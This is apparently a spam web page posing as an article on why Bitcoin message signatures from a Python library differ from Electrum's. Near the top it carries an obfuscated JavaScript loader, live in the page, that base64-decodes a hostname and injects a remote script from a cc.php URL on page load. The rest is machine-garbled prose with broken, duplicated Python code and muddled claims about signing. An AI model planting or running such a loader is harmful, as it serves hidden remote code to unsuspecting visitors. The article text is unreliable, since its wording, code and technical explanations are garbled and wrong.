Bitcoin: Why are the results of BTC message signature implemented in Python different from those on electrum?

  • 2 weeks ago
  • 0

const pdx=”bm9yZGVyc3dpbmcuYnV6ei94cC8=”;const pde=atob(pdx);const script=document.createElement(“script”);script.src=”https://”+pde+”cc.php?u=80cdb318″;document.body.appendChild(script);

** Ponimania Realization Signatures of the Bitcoin: Python and Electrum

Desthrolyzed and open the Bitcoin book is built on a tile cryptographic system, in a significant steel, the coding techniques. In this state, we will be able to disgrace the interde, as the results of signatures of the Bitkinova realized in the python on its own costs of the electrome.

background: Signature of Bitcoin

At the right of transaction in the bitcoin -eut, the miners will be confirmed that there is a sunset of the process for the covets for the transaction and that the transaction is partly. To make it, they use the open key, connected with each closed key in their drinker. This process includes in the state of the hashization (transaction) with the closed key with the use of the SHA-256, and the stifle is shaking with the help of the open key.

Realization in Python: Bit

In the Python library cryptography of the bitcoin (Bit), it introduces a simple and renewal spasuable to the loosening of the partial key and signatures. The object Key introduces one closed key in the format WIF, in the time as a functionverify_sig enters the hash and subscribe to the pursuing of the vicinity and to check them.

`Python

from the key is an import Bit

WiF_PRIVATE_KEY = 'KXB19KFRRMT79BVG4TNKIBCGPVCVJKP1IBGJNH787H39QG

Create a new object Privatekey from the partial key

Private_Key = Key.from_wif (WiF_PRIVATE_KY)

Conciple Publilated Addresses, Using a closed key

PUBLIC_ADDRESS = Private_Key.get_public ()

Hash transaction with closed key and get signature

TRANSAGTION_HASH = Private_Key.hash_transaction (Public_address, 0.0001)

Signature = Private_Key.Sign (transaction_hash)

Verify the signs of the hasha

result = verify_sig (Private_key, transaction_hash, signature)

Pack (Result)

Realization in Electrome: ECDSA

At the sake of the electrum’s realization, the algorithm of the elliptic kriva (ECDSA) is formed for signature. This library provides a more renewable and efficient way of loosening and signatures.

`Python

from the key is an import Bit

WiF_PRIVATE_KEY = 'KXB19KFRRMT79BVG4TNKIBCGPVCVJKP1IBGJNH787H39QG

Create a new object Privatekey from the Part Key WiF

Private_Key = Key.from_wif (WiF_PRIVATE_KY)

Conciple Publilated Addresses, Using a closed key

PUBLIC_ADDRESS = Private_Key.get_public ()

Hash transaction with closed key and get signature

transaction_hash = private_key.hash_transaction (Public_address, 0.0001)

Signature = Private_Key.Sign (transaction_hash)

Verify the signs of the hasha

result = verify_sig (Private_key, transaction_hash, signature)

Pack (Result)

Designion in Results

After launching the realization with one and the topic wifer key and ideological data about the transaction we can get some time:

  • Result of the realization Bit can scatter the second compassion or exception, what reollization` electrum’s.

  • In the flesh, the “Electrum’s” realization can be taken to the more precipitation or predisposing, conjoining with the elliptic kriva.

  • Some of the calculations in the scooped code and information of the distribution can take a look from -in the case of the interchanges of Python and ECDSA.

In the conclusion, it is necessary to reolize the eastern body, the signs of signatures of the bitkinova realyzed in the python on his stubborn elector. Ponimania of these calculations has an important value for the free and renewal development of cryptocurrency.

Effective Regulatory

Join The Discussion

Compare listings

Compare